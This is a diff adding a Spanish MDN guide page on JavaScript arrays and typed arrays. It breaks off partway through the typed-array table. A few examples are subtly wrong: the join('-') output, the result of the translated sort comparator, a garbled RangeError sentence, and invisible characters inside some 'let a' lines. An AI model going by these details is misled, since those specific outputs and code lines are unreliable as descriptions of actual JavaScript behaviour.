--- /dev/null
+++ b/files/es/web/javascript/guide/colecciones_indexadas/index.html
@@ -0,0 +1,603 @@
+---
+title: Colecciones indexadas
+slug: Web/JavaScript/Guide/colecciones_indexadas
+tags:
+  - Array
+  - Arreglo
+  - Guía
+  - JavaScript
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Indexed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</div>
+
+<p class="summary">Este capítulo presenta colecciones de datos ordenados por un valor de índice. Esto incluye arreglos y construcciones similares a arreglos tal como objetos {{jsxref("Array")}} y objetos {{jsxref("TypedArray")}}.</p>
+
+<h2 id="El_objeto_Array">El objeto <code>Array</code></h2>
+
+<p>Un <em><dfn>array</dfn></em> es una lista ordenada de valores a los que te refieres con un nombre y un índice.</p>
+
+<p>Por ejemplo, considera un arreglo llamado <code>emp</code>, que contiene los nombres de los empleados indexados por su id de empleado numérico. De tal modo que <code>emp[0]</code> sería el empleado número cero, <code>emp[1]</code> el empleado número uno, y así sucesivamente.</p>
+
+<p>JavaScript no tiene un tipo de dato <code>array</code> explícito. Sin embargo, puedes utilizar el objeto <code>Array</code> predefinido y sus métodos para trabajar con arreglos en tus aplicaciones. El objeto <code>Array</code> tiene métodos para manipular arreglos de varias formas, tal como unirlos, invertirlos y ordenarlos. Tiene una propiedad para determinar la longitud del arreglo y otras propiedades para usar con expresiones regulares.</p>
+
+<h3 id="Crear_un_arreglo">Crear un arreglo</h3>
+
+<p>Las siguientes declaraciones crean arreglos equivalentes:</p>
+
+<pre class="brush: js notranslate">let arr = new Array(<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>)
+let arr = Array(<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>)
+let arr = [<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+</pre>
+
+<p><code><var>element0</var>, <var>element1</var>, ..., <var>elementN</var></code> es una lista de valores para los elementos del arreglo. Cuando se especifican estos valores, el arreglo se inicia con ellos como elementos del arreglo. La propiedad <code>length</code> del arreglo se establece en el número de argumentos.</p>
+
+<p>La sintaxis de corchetes se denomina "arreglo literal" o "iniciador de arreglo". Es más corto que otras formas de creación de arreglos, por lo que generalmente se prefiere. Consulta <a href="/es/docs/Web/JavaScript/Guide/Grammar_and_types#Arreglos_literales">Arreglos literales</a> para obtener más detalles.</p>
+
+<p>Para crear un arreglo con una longitud distinta de cero, pero sin ningún elemento, se puede utilizar cualquiera de las siguientes:</p>
+
+<pre class="brush: js notranslate">// Esta...
+let arr = new Array(<var>arrayLength</var>)
+
+// ...da como resultado el mismo arreglo que este
+let arr = Array(<var>arrayLength</var>)
+
+
+// Esto tiene exactamente el mismo efecto
+let arr = []
+arr.length = <var>arrayLength</var>
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: En el código anterior, <code><var>arrayLength</var></code> debe ser un <code>Número</code>. De lo contrario, se creará un arreglo con un solo elemento (el valor proporcionado). Llamar a <code>arr.length</code> devolverá <code><var>arrayLength</var></code>, pero el arreglo no contiene ningún elemento. Un bucle {{jsxref("Statements/for...in", "for...in")}} no encontrarás ninguna propiedad en el arreglo.</p>
+</div>
+
+<p>Además de una variable recién definida como se muestra arriba, los arreglos también se pueden asignar como una propiedad a un objeto nuevo o existente:</p>
+
+<pre class="brush: js notranslate">let obj = {}
+// ...
+obj.prop = [element0, element1, ..., elementN]
+
+// O
+let obj = {prop: [element0, element1, ...., elementN]}
+</pre>
+
+<p>Si deseas iniciar un arreglo con un solo elemento, y el elemento resulta ser un <code>Número</code>, debes usar la sintaxis de corchetes. Cuando se pasa un solo valor <code>Number</code> al constructor o función <code>Array()</code>, se interpreta como un <code>arrayLength</code>, no como un solo elemento.</p>
+
+<pre class="brush: js notranslate">let arr = [42]       // Crea un arreglo con un solo elemento:
+                     // el número 42.
+
+let arr = Array(42)  // Crea un arreglo sin elementos
+                     // y arr.length establecidos en 42.
+                     //
+                     // Esto es equivalente a:
+let arr = []
+arr.length = 42
+</pre>
+
+<p>Llamar a <code>Array(<var>N</var>)</code> da como resultado un <code>RangeError</code>, si <code><var>N</var></code> no es un número entero cuya porción fraccionaria no es cero. El siguiente ejemplo ilustra este comportamiento.</p>
+
+<pre class="brush: js notranslate">let arr = Array(9.3)   // RangeError: Longitud de arreglo no válida
+</pre>
+
+<p>Si tu código necesita crear arreglos con elementos únicos de un tipo de dato arbitrario, es más seguro utilizar arreglos literales. Alternativamente, crea un arreglo vacío primero antes de agregarle el único elemento.</p>
+
+<p>En ES2015, puedes utilizar el método estático {{jsxref("Array.of")}} para crear arreglos con un solo elemento.</p>
+
+<pre class="brush: js notranslate">let wisenArray = Array.of(9.3)   // wisenArray contiene solo un elemento 9.3</pre>
+
+<h3 id="Refiriéndose_a_elementos_del_arreglo">Refiriéndose a elementos del arreglo</h3>
+
+<p>Dado que los elementos también son propiedades, puedes acceder a ellos usando la <a href="/es/docs/Web/JavaScript/Reference/Operators/Property_Accessors">propiedad <code>accessors</code></a>. Supongamos que defines el siguiente arreglo:</p>
+
+<pre class="brush: js notranslate">let myArray = ['Wind', 'Rain', 'Fire']
+</pre>
+
+<p>Puedes referirte al primer elemento del arreglo como <code>myArray[0]</code>, al segundo elemento del arreglo como <code>myArray[1]</code>, etc<span class="st">…</span> El índice de los elementos comienza en cero.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes utilizar la <a href="/es/docs/Web/JavaScript/Reference/Operators/Property_Accessors">propiedad <code>accessors</code></a> para acceder a otras propiedades del arreglo, como con un objeto.</p>
+
+<pre class="brush: js notranslate">let arr = ['one', 'two', 'three']
+arr[2]          // three
+arr['length']   // 3
+</pre>
+</div>
+
+<h3 id="Llenar_un_arreglo">Llenar un arreglo</h3>
+
+<p>Puedes llenar un arreglo asignando valores a sus elementos. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">let emp = []
+emp[0] = 'Casey Jones'
+emp[1] = 'Phil Lesh'
+emp[2] = 'August West'
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Si proporcionas un valor no entero al operador <code>array</code> en el código anterior, se creará una propiedad en el objeto que representa al arreglo, en lugar de un elemento del arreglo.</p>
+
+<pre class="brush: js notranslate">let arr = []
+arr[3.4] = 'Oranges'
+console.log(arr.length)                 // 0
+console.log(arr.hasOwnProperty(3.4))    // true
+</pre>
+</div>
+
+<p>También puedes rellenar un arreglo cuando lo creas:</p>
+
+<pre class="brush: js notranslate">let myArray = new Array('Hello', myVar, 3.14159)
+// OR
+let myArray = ['Mango', 'Apple', 'Orange']
+</pre>
+
+<h3 id="Entendiendo_length">Entendiendo <code>length</code></h3>
+
+<p>A nivel de implementación, los arreglos de JavaScript almacenan sus elementos como propiedades de objeto estándar, utilizando el índice del arreglo como nombre de propiedad.</p>
+
+<p>La propiedad <code>length</code> es especial. Siempre devuelve el índice del último elemento más uno. (En el siguiente ejemplo, <code>'Dusty'</code> está indexado en <code>30</code>, por lo que <code>cats.length</code> devuelve <code>30 + 1</code>).</p>
+
+<p>Recuerda, los índices del Array JavaScript están basados en 0: comienzan en <code>0</code>, no en <code>1</code>. Esto significa que la propiedad <code>length</code> será uno más que el índice más alto almacenado en el arreglo:</p>
+
+<pre class="brush: js notranslate">let cats = []
+cats[30] = ['Dusty']
+console.log(cats.length) // 31
+</pre>
+
+<p>También puedes asignar la propiedad <code>length</code>.</p>
+
+<p>Escribir un valor que sea más corto que el número de elementos almacenados trunca el arreglo. Escribir <code>0</code> lo vacía por completo:</p>
+
+<pre class="brush: js notranslate">let cats = ['Dusty', 'Misty', 'Twiggy']
+console.log(cats.length)  // 3
+
+cats.length = 2
+console.log(cats)  // logs "Dusty, Misty" - Twiggy se ha eliminado
+
+cats.length = 0
+console.log(cats)  // logs []; el arreglo cats está vacío
+
+cats.length = 3
+console.log(cats)  // logs [ &lt;3 elementos vacíos&gt; ]
+</pre>
+
+<h3 id="Iterando_sobre_arreglos">Iterando sobre arreglos</h3>
+
+<p>Una operación común es iterar sobre los valores de un arreglo, procesando cada uno de alguna manera. La forma más sencilla de hacerlo es la siguiente:</p>
+
+<pre class="brush: js notranslate">let colors = ['red', 'green', 'blue']
+for (let i = 0; i &lt; colors.length; i++) {
+  console.log(colors[i])
+}
+</pre>
+
+<p>Si sabes que ninguno de los elementos de tu arreglo se evalúa como <code>false</code> en un contexto booleano, si tu arreglo consta solo de nodos <a href="/es/docs/DOM" title="/es/docs/DOM">DOM</a>, por ejemplo, puedes usar un lenguaje eficiente:</p>
+
+<pre class="brush: js notranslate">let divs = document.getElementsByTagName('div')
+for (let i = 0, div; div = divs[i]; i++) {
+  /* Procesar div de alguna manera */
+}
+</pre>
+
+<p>Esto evita la sobrecarga de verificar la longitud del arreglo y garantiza que la variable <code><var>div</var></code> se reasigne al elemento actual cada vez que se realiza el bucle para mayor comodidad.</p>
+
+<p>El método {{jsxref("Array.forEach", "forEach()")}} proporciona otra forma de iterar sobre un arreglo:</p>
+
+<pre class="brush: js notranslate">let colors = ['red', 'green', 'blue']
+colors.forEach(function(color) {
+  console.log(color)
+})
+// red
+// green
+// blue
+</pre>
+
+<p>Alternativamente, puedes acortar el código para el parámetro <code>forEach</code> con las funciones de flecha ES2015:</p>
+
+<pre class="brush: js notranslate">let colors = ['red', 'green', 'blue']
+colors.forEach(color =&gt; console.log(color))
+// red
+// green
+// blue
+</pre>
+
+<p>La función pasada a <code>forEach</code> se ejecuta una vez por cada elemento del arreglo, con el elemento de arreglo pasado como argumento de la función. Los valores no asignados no se iteran en un bucle <code>forEach</code>.</p>
+
+<p>Ten en cuenta que los elementos de un arreglo que se omiten cuando se define el arreglo no se enumeran cuando lo itera <code>forEach</code>, pero <em>se enumeran</em> cuando <code>undefined</code> se ha asignado manualmente al elemento:</p>
+
+<pre class="brush: js notranslate">let array = ['first', 'second', , 'fourth']
+
+array.forEach(function(element) {
+  console.log(element)
+})
+// first
+// second
+// fourth
+
+if (array[2] === undefined) {
+  console.log('array[2] is undefined')  // true
+}
+
+array = ['first', 'second', undefined, 'fourth']
+
+array.forEach(function(element) {
+  console.log(element)
+})
+// first
+// second
+// undefined
+// fourth
+</pre>
+
+<p>Dado que los elementos de JavaScript se guardan como propiedades de objeto estándar, no es recomendable iterar a través de arreglos de JavaScript usando bucles {{jsxref("Statements/for...in", "for...in")}}, porque se enumerarán los elementos normales y todas las propiedades enumerables.</p>
+
+<h3 id="Métodos_de_array">Métodos de array</h3>
+
+<p>El objeto {{jsxref("Array")}} tiene los siguientes métodos:</p>
+
+<p>{{jsxref("Array.concat", "concat()")}} une dos o más arreglos y devuelve un nuevo arreglo.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array('1', '2', '3')
+myArray = myArray.concat('a', 'b', 'c')
+// myArray is now ["1", "2", "3", "a", "b", "c"]
+</pre>
+
+<p>{{jsxref("Array.join", "join(delimiter = ',')")}} une todos los elementos de un arreglo en una cadena.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array('Viento', 'Lluvia', 'Fuego')
+let list = myArray.join('-')   // la lista es "Viento - Lluvia - Fuego"
+</pre>
+
+<p>{{jsxref("Array.push", "push()")}} agrega uno o más elementos al final de un arreglo y devuelve la <code>longitud</code> resultante del arreglo.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array('1', '2')
+myArray.push('3') // myArray ahora es ["1", "2", "3"]
+</pre>
+
+<p>{{jsxref("Array.pop", "pop()")}} elimina el último elemento de un arreglo y devuelve ese elemento.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array ('1', '2', '3')
+let last = myArray.pop()
+// myArray ahora es ["1", "2"], last = "3"
+</pre>
+
+<p>{{jsxref("Array.shift", "shift()")}} elimina el primer elemento de un arreglo y devuelve ese elemento.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array ('1', '2', '3')
+let first = myArray.shift()
+// myArray ahora es ["2", "3"], first es "1"
+</pre>
+
+<p>{{jsxref("Array.unshift", "unshift()")}} agrega uno o más elementos al frente de un arreglo y devuelve la nueva longitud del arreglo.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array('1', '2', '3')
+myArray.unshift('4', '5')
+// myArray se convierte en ["4", "5", "1", "2", "3"]
+</pre>
+
+<p>{{jsxref("Array.slice", "slice(start_index, upto_index)")}} extrae una sección de un arreglo y devuelve un nuevo arreglo.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array('a', 'b', 'c', 'd', 'e')
+myArray = myArray.slice(1, 4) // comienza en el índice 1 y extrae todos los elementos
+                               // hasta el índice 3, devuelve ["b", "c", "d"]
+</pre>
+
+<p>{{jsxref("Array.splice", "splice(index, count_to_remove, addElement1, addElement2, ...)")}} elimina elementos de un arreglo y (opcionalmente) los reemplaza. Devuelve los elementos que se eliminaron del arreglo.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array('1', '2', '3', '4', '5')
+myArray.splice(1, 3, 'a', 'b', 'c', 'd')
+// myArray ahora es ["1", "a", "b", "c", "d", "5"]
+// Este código comenzó en el índice uno (o donde estaba el "2"),
+// eliminó 3 elementos allí, y luego insertó todos los consecutivos
+// elementos en su lugar.
+</pre>
+
+<p>{{jsxref("Array.reverse", "reverse()")}} transpone los elementos de un arreglo, en su lugar: el primer elemento del arreglo se convierte en el último y el último en el primero. Devuelve una referencia al arreglo.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array ('1', '2', '3')
+myArray.reverse()
+// transpone el arreglo para que myArray = ["3", "2", "1"]
+</pre>
+
+<p>{{jsxref("Array.sort", "sort()")}} ordena los elementos de un arreglo en su lugar y devuelve una referencia al arreglo.</p>
+
+<pre class="brush: js notranslate">let myArray = new Array('Viento', 'Lluvia', 'Fuego')
+myArray.sort()
+// ordena el arreglo para que myArray = ["Fuego", "Lluvia", "Viento"]
+</pre>
+
+<p><code>sort()</code> también puede tomar una función retrollamada para determinar cómo se comparan los elementos del arreglo.</p>
+
+<p>El método <code>sort</code> (y otros a continuación) que reciben una retrollamada se conocen como <em>métodos iterativos</em>, porque iteran sobre todo el arreglo de alguna manera. Cada uno toma un segundo argumento opcional llamado <code><var>thisObject</var></code>. Si se proporciona, <code><var>thisObject</var></code> se convierte en el valor de la palabra clave <code>this</code> dentro del cuerpo de la función retrollamada. Si no se proporciona, como en otros casos en los que se invoca una función fuera de un contexto de objeto explícito, <code>this</code> se referirá al objeto global (<a href="/es/docs/Web/API/Window" title="La interfaz &lt;code>Window&lt;/code> representa una ventana que contiene un documento DOM; la propiedad &lt;code>document&lt;/code> apunta al documento DOM cargado en esa ventana."><code>window</code></a>) cuando se usa la función de flecha como retrollamada, o <code>undefined</code> cuando se usa una función normal como retrollamada.</p>
+
+<p>La función retrollamada se invoca con dos argumentos, que son elementos del arreglo.</p>
+
+<p>La siguiente función compara dos valores y devuelve uno de tres valores:</p>
+
+<p>Por ejemplo, lo siguiente se ordenará por la última letra de una cadena:</p>
+
+<pre class="brush: js notranslate">let sortFn = function(a, b) {
+  if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+  if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+myArray.sort(sortFn)
+// ordena el arreglo para que myArray = ["Viento", "Fuego", "Lluvia"]</pre>
+
+<ul>
+ <li>si <code><var>a</var></code> es menor que <code><var>b</var></code> por el sistema de clasificación, devuelve <code>-1</code> ( o cualquier número negativo)</li>
+ <li>si <code><var>a</var></code> es mayor que <code><var>b</var></code> por el sistema de clasificación, devuelve <code>1</code> (o cualquier número positivo)</li>
+ <li>si <code><var>a</var></code> y <code><var>b</var></code> se consideran equivalentes, devuelve <code>0</code>.</li>
+</ul>
+
+<p>{{jsxref("Array.indexOf", "indexOf (searchElement[, fromIndex])")}} busca en el arreglo <code><var>searchElement</var></code> y devuelve el índice de la primera coincidencia.</p>
+
+<pre class="brush: js notranslate">let a = ['a', 'b', 'a', 'b', 'a']
+console.log(a.indexOf('b')) // registros 1
+
+// Ahora inténtalo de nuevo, comenzando después de la última coincidencia
+console.log(a.indexOf('b', 2)) // registra 3
+console.log(a.indexOf('z')) // logs -1, porque no se encontró 'z'
+</pre>
+
+<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement [, fromIndex])")}} funciona como <code>indexOf</code>, pero comienza al final y busca hacia atrás.</p>
+
+<pre class="brush: js notranslate">let​a = ['a', 'b', 'c', 'd', 'a', 'b']
+console.log(a.lastIndexOf('b')) // registra 5
+
+// Ahora inténtalo de nuevo, comenzando desde antes de la última coincidencia
+console.log(a.lastIndexOf('b', 4)) // registra 1
+console.log(a.lastIndexOf('z'))    // registra -1
+</pre>
+
+<p>{{jsxref("Array.forEach", "forEach(callback[, thisObject])")}} ejecuta <code><var>callback</var></code> en cada elemento del arreglo y devuelve <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">let​a = ['a', 'b', 'c']
+a.forEach(function(elemento) { console.log(elemento) })
+// registra cada elemento por turno
+</pre>
+
+<p>{{jsxref("Array.map", "map(callback [, thisObject])")}} devuelve un nuevo arreglo del valor de retorno de ejecutar <code><var>callback</var></code> en cada elemento del arreglo.</p>
+
+<pre class="brush: js notranslate">let a1 = ['a', 'b', 'c']
+let a2 = a1.map(function(item) { return item.toUpperCase() })
+console.log(a2) // registra ['A', 'B', 'C']
+</pre>
+
+<p>{{jsxref("Array.filter", "filter(callback [, thisObject])")}} devuelve un nuevo arreglo que contiene los elementos para los cuales <code><var>callback</var></code> devolvió <code>true</code>.</p>
+
+<pre class="brush: js notranslate">let a1 = ['a', 10, 'b', 20, 'c', 30]
+let a2 = a1.filter(function(item) { return typeof item === 'number'; })
+console.log(a2)  // registra [10, 20, 30]
+</pre>
+
+<p>{{jsxref("Array.every", "every(callback [, thisObject])")}} devuelve <code>true</code> si <code><var>callback</var></code> devuelve <code>true</code> para cada elemento del arreglo.</p>
+
+<pre class="brush: js notranslate">function isNumber(value) {
+  return typeof value === 'number'
+}
+let a1 = [1, 2, 3]
+console.log(a1.every(isNumber))  // registra true
+let a2 = [1, '2', 3]
+console.log(a2.every(isNumber))  // registra false
+</pre>
+
+<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} devuelve <code>true</code> si <code><var>callback</var></code> devuelve <code>true</code> para al menos un elemento del arreglo.</p>
+
+<pre class="brush: js notranslate">function isNumber(value) {
+  return typeof value === 'number'
+}
+let a1 = [1, 2, 3]
+console.log(a1.some(isNumber))  // registra true
+let a2 = [1, '2', 3]
+console.log(a2.some(isNumber))  // registra true
+let a3 = ['1', '2', '3']
+console.log(a3.some(isNumber))  // registra false
+</pre>
+
+<p>{{jsxref("Array.reduce", "reduce(callback[, initialValue])")}} aplica <code><var>callback</var>(<var>acumulador</var>, <var>currentValue</var>[, <var>currentIndex</var>[,<var>array</var>]])</code> para cada valor en el arreglo con el fin de reducir la lista de elementos a un solo valor. La función <code>reduce</code> devuelve el valor final devuelto por la función <code><var>callback</var></code>. </p>
+
+<p>Si se especifica <code><var>initialValue</var></code>, entonces <code><var>callback</var></code> se llama con <code><var>initialValue</var></code> como primer valor de parámetro y el valor del primer elemento del arreglo como segundo valor de parámetro. </p>
+
+<p>Si <code><var>initialValue</var></code> <em>no</em> es especificado, entonces <code><var>callback</var></code> los primeros dos valores de parámetro deberán ser el primer y segundo elemento del arreglo. En <em>cada</em> llamada subsiguiente, el valor del primer parámetro será el valor de <code><var>callback</var></code> devuelto en la llamada anterior, y el valor del segundo parámetro será el siguiente valor en el arreglo.</p>
+
+<p>Si <code><var>callback</var></code> necesita acceso al índice del elemento que se está procesando, al acceder al arreglo completo, están disponibles como parámetros opcionales.</p>
+
+<pre class="brush: js notranslate">let​a = [10, 20, 30]
+let total = a.reduce(function(accumulator, currentValue) { return accumulator + currentValue }, 0)
+console.log(total) // Imprime 60
+</pre>
+
+<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initialValue])")}} funciona como <code>reduce()</code>, pero comienza con el último elemento.</p>
+
+<p><code>reduce</code> y <code>reduceRight</code> son los menos obvios de los métodos de arreglo iterativos. Se deben utilizar para algoritmos que combinan dos valores de forma recursiva para reducir una secuencia a un solo valor.</p>
+
+<h3 id="Arreglos_multidimensionales">Arreglos multidimensionales</h3>
+
+<p>Los arreglos se pueden anidar, lo cual significa que un arreglo puede contener otro arreglo como elemento. Usando esta característica de los arreglos de JavaScript, se pueden crear arreglos multidimensionales.</p>
+
+<p>El siguiente código crea un arreglo bidimensional.</p>
+
+<pre class="brush: js notranslate">let a = new Array(4)
+for (let i = 0; i &lt; 4; i++) {
+  a[i] = new Array(4)
+  for (let j = 0; j &lt; 4; j++) {
+    a[i][j] = '[' + i + ', ' + j + ']'
+  }
+}
+</pre>
+
+<p>Este ejemplo crea un arreglo con las siguientes filas:</p>
+
+<pre class="notranslate">Row 0: [0, 0] [0, 1] [0, 2] [0, 3]
+Row 1: [1, 0] [1, 1] [1, 2] [1, 3]
+Row 2: [2, 0] [2, 1] [2, 2] [2, 3]
+Row 3: [3, 0] [3, 1] [3, 2] [3, 3]
+</pre>
+
+<h3 id="Usar_arreglos_para_almacenar_otras_propiedades">Usar arreglos para almacenar otras propiedades</h3>
+
+<p>Los arreglos también se pueden utilizar como objetos para almacenar información relacionada.</p>
+
+<pre class="brush: js notranslate"><code>const arr = [1, 2, 3];
+arr.property = "value";
+console.log(arr.property);  // Registra "value"</code>
+</pre>
+
+<h3 id="Arreglos_y_expresiones_regulares">Arreglos y expresiones regulares</h3>
+
+<p>Cuando un arreglo es el resultado de una coincidencia entre una expresión regular y una cadena, el arreglo devuelve propiedades y elementos que proporcionan información sobre la coincidencia. Un arreglo es el valor de retorno de {{jsxref("Global_Objects/RegExp/exec", "RegExp.exec()")}}, {{jsxref("Global_Objects/String/match", "String.match()")}} y {{jsxref("Global_Objects/String/split", "String.split()")}}. Para obtener información sobre el uso de arreglos con expresiones regulares, consulta <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions">Expresiones regulares</a>.</p>
+
+<h3 id="Trabajar_con_objetos_tipo_array">Trabajar con objetos tipo array</h3>
+
+<p>Algunos objetos JavaScript, como <a href="/es/docs/Web/API/NodeList" title="Los objetos &lt;code>NodeList&lt;/code> son colecciones de nodos, generalmente devueltos por propiedades como ↑Node.childNodes↓ y métodos como ↑document.querySelectorAll()↓."><code>NodeList</code></a> devueltos por <a href="/es/docs/Web/API/Document/getElementsByTagName" title="devuelve una &lt;code>HTMLCollection&lt;/code> de elementos con el nombre de etiqueta dado."><code>document.getElementsByTagName()</code></a> o un objeto {{jsxref("Functions/arguments", "arguments")}} disponible dentro del cuerpo de una función, se ven y se comportan como arreglos en la superficie pero no comparten todos sus métodos. El objeto <code>arguments</code> proporciona un atributo {{jsxref("Global_Objects/Function/length", "length")}} pero no implementa el método {{jsxref("Array.forEach", "forEach()")}}, por ejemplo.</p>
+
+<p>Los métodos de arreglo no se pueden llamar directamente en objetos similares a un arreglo.</p>
+
+<pre class="brush: js example-bad notranslate"><code>function printArguments() {
+  arguments.forEach(function(item) {// <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox-stackTrace reps-custom-format">TypeError: <span class="objectBox objectBox-string">arguments.forEach no es una función</span></span></span></span></span>
+    console.log(item);
+  });
+}</code>
+</pre>
+
+<p>Pero puedes llamarlos indirectamente usando {{jsxref("Global_Objects/Function/call", "Function.prototype.call()")}}.</p>
+
+<pre class="brush: js example-good notranslate"><code>function printArguments() {
+  Array.prototype.forEach.call(arguments, function(item) {
+    console.log(item);
+  });
+}</code>
+</pre>
+
+<p>Los métodos de prototipos de arreglos también se pueden utilizar en cadenas, ya que proporcionan acceso secuencial a sus caracteres de forma similar a los arreglos:</p>
+
+<pre class="brush: js notranslate">Array.prototype.forEach.call('a string', function(chr) {
+  console.log(chr)
+})
+</pre>
+
+<h2 id="Arrays_tipados">Arrays tipados</h2>
+
+<p><a href="/es/docs/Web/JavaScript/Typed_arrays">Los arreglos tipados en JavaScript</a> son objetos similares a arreglos y proporcionan un mecanismo para acceder a datos binarios sin procesar. Como ya sabes, los objetos {{jsxref("Array")}} crecen y se encogen dinámicamente y pueden tener cualquier valor de JavaScript. Los motores de JavaScript realizan optimizaciones para que estos arreglos sean rápidos. Sin embargo, a medida que las aplicaciones web se vuelven cada vez más poderosas, agregando características como manipulación de audio y video, acceso a datos sin procesar usando <a href="/es/docs/WebSockets">WebSockets</a>, y así sucesivamente, ha quedado claro que hay momentos en los que sería útil para que el código JavaScript pueda manipular rápida y fácilmente datos binarios sin procesar en arreglos tipados.</p>
+
+<h3 id="Búferes_y_vistas_arquitectura_de_los_arreglos_con_tipo">Búferes y vistas: arquitectura de los arreglos con tipo</h3>
+
+<p>Para lograr la máxima flexibilidad y eficiencia, los arreglos de JavaScript dividen la implementación en <strong>búferes</strong> y <strong>vistas</strong>. Un búfer (implementado por el objeto {{jsxref("ArrayBuffer")}} es un objeto que representa una porción de datos; no tiene un formato del que hablar y no ofrece ningún mecanismo para acceder a su contenido. Para acceder a la memoria contenida en un búfer, necesitas usar una vista. Una vista proporciona un <strong>contexto </strong>, es decir, un tipo de datos, un desplazamiento inicial y un número de elementos, que convierte los datos en un arreglo con tipo real.</p>
+
+<p><img alt="Arreglos tipados en un &lt;code>ArrayBuffer&lt;/code>" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer"><code>ArrayBuffer</code></h3>
+
+<p>{{jsxref("ArrayBuffer")}} es un tipo de dato que se utiliza para representar un búfer de datos binarios genérico de longitud fija. No puedes manipular directamente el contenido de un <code>ArrayBuffer</code>; en su lugar, creas una vista de arreglo con tipo o un {{jsxref("DataView")}} que representa el búfer en un formato específico, y lo usa para leer y escribir el contenido del búfer.</p>
+
+<h3 id="Vistas_de_arreglos_tipados">Vistas de arreglos tipados</h3>
+
+<p>Las vistas de arreglos tipados tienen nombres autodescriptivos y proporcionan vistas para todos los tipos numéricos habituales como <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> y así sucesivamente. Hay una vista de arreglo con tipo especial, {jsxref("Uint8ClampedArray")}}, que fija los valores entre <code>0</code> y <code>255</code>. Esto es útil para <a href="/es/docs/Web/API/ImageData">procesamiento de datos de Canvas</a>, por ejemplo.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Tipo</th>
+   <th class="header" scope="col">Rango de valores</th>
+   <th class="header" scope="col">Tamaño en bytes</th>
+   <th class="header" scope="col">Descripción</th>
+   <th class="header" scope="col">Tipo de IDL web</th>
+   <th class="header" scope="col">Tipo C equivalente</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Int8Array")}}</td>
+   <td><code>-128</code> a <code>127</code></td>
+   <td>1</td>
+   <td>Dos enteros complementarios de 8 bits con signo</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8Array")}}</td>
+   <td><code>0</code> a <code>255</code></td>
+   <td>1</td>
+   <td>Entero de 8-bit sin signo</td>
+   <td><code>octeto</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8ClampedArray")}}</td>
+   <td><code>0</code> a <code>255</code></td>
+   <td>1</td>
+   <td>Entero de 8 bits sin signo (sujeto)</td>
+   <td><code>octeto</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int16Array")}}</td>
+   <td><code>-32768</code> a <code>32767</code></td>
+   <td>2</td>
+   <td>Dos enteros complementarios de 16 bits con signo</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint16Array")}}</td>
+   <td><code>0</code> a <code>65535</code></td>
+   <td>2</td>
+   <td>Entero de 16 bits sin signo</td>
+   <td><code>short sin signo</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int32Array")}}</td>
+   <td><code>-2147483648</code> a <code>2147483647</code></td>
+   <td>4</td>
+   <td>dos enteros complementarios de 32 bits con signo</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint32Array")}}</td>
+   <td><code>0</code> a <code>4294967295</code></td>
+   <td>4</td>
+   <td>Enteros de 32 bits sin signo</td>
+   <td><code>long sin signo</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float32Array")}}</td>
+   <td><code>1.2</code><span>×</span><code>10<sup>-38</sup></code> a <code>3.4</code><span>×</span><code>10<sup>38</sup></code></td>
+   <td>4</td>
+   <td>Número de coma flotante IEEE de 32 bits (7 dígitos significativos, p. ej., <code>1.1234567</code>)</td>
+   <td><code>float sin restricciones</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float64Array")}}</td>
+   <td><code>5.0</code><span>×</span><code>10<sup>-324</sup></code> a <code>1.8</code><span>×</span><code>10<sup>308</sup></code></td>
+   <td>8</td>
+   <td>Número de coma flotante IEEE de 64 bits (16 dígitos significativos, por ejemplo,<code>1.123 ... 15</code>)</td>
+   <td><code>double sin restricciones</code></td>
+   <td><code>double</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigInt64Array")}}</td>
+   <td><code>-2<sup>63</sup></code> a <code>2<sup>63</sup>-1</code></td>
+   <td>8</td>
+   <td>Dos enteros complementarios de 64 bits con signo</td>
+   <td><code>bigint</code></td>
+   <td><code>int64_t (long long con signo)</code></td>
+  </tr>
+  <tr>
